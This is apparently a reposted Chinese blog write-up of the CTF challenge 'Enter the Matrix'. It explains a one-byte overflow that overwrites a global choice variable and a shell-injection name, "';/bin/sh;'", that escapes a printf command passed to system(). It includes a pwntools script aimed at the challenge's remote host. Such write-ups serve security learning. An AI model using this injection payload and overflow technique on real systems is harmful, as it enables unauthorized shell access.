zoukankan      html  css  js  c++  java
  • [backdoor] Enter the Matrix

    这手法有点类似盲注了

    进入程序首先输入choice 然后输入name

    只有1,2,3才能退出while  正常的话只能执行 red,blue和exit函数

    red里面没什么东西

    blue内容如上 是一个矩阵乘法 然后判断相等

    如果相等 可以调用zion函数

    printf_command内容是 “ printf '%s\n' ” 就是把%s替换为name 然后system调用

    这里如果name里面含有 " /sh " 的字眼就好了

    不过blue前面还有一个name的判断 

    我当时的想法是strcmp函数截断判断,然后构造单位矩阵和原矩阵相乘 最终执行/sh

    不过strcmp是截断(我当时以为是 截断) 截断的话就没办法执行后面的/sh

    无可奈何地瞪眼,发现用到的变量都是全局变量,去data段看了看,发现了突破口

    choice和name的位置关系十分的友好

    其次get_input_n函数是可以溢出一位的

    把choice覆盖为0就可以调用zion函数了

    这里的name构造就有点像盲注了

    首先把前面的单引号闭合,构造完整的printf语句

    然后跟上/bin/sh  最后闭合后边的单引号

    完整的name =  “ ';/bin/sh;' ”

    尽管运行后边的'\n'会报错 但是这之前我们已经getshell了

    本地打通 远程没打通

    from pwn import *
    
    # io=process('./matrix')
    io=remote('hack.bckdr.in',12002)
    
    print io.sendlineafter('Choice:
    ','2')
    
    payload="';/bin/sh;'"
    payload=payload+'A'*(64-len(payload))
    payload+=p32(0)
    io.sendlineafter('name:
    ',payload)
    
    io.interactive()
    # name = ';/bin/sh;'
    # size = 7
    # printf '%s\n'
  • 相关阅读:
    一句SQL实现MYSQL的递归查询
    人生不过一个字【Life is but a word】
    VS2008 如何将Release版本设置可以调试的DEBUG版本
    微软 2018 年第一笔收购:文件存储公司 Avere Systems
    设置系统时间
    OpenVZ安装指南,一种操作系统级别的虚拟化技术
    云平台DevOps实践
    路由(Routing)
    Ubuntu命令
    net mvc中angular
  • 原文地址:https://www.cnblogs.com/lxy8584099/p/12011903.html
Copyright © 2011-2022 走看看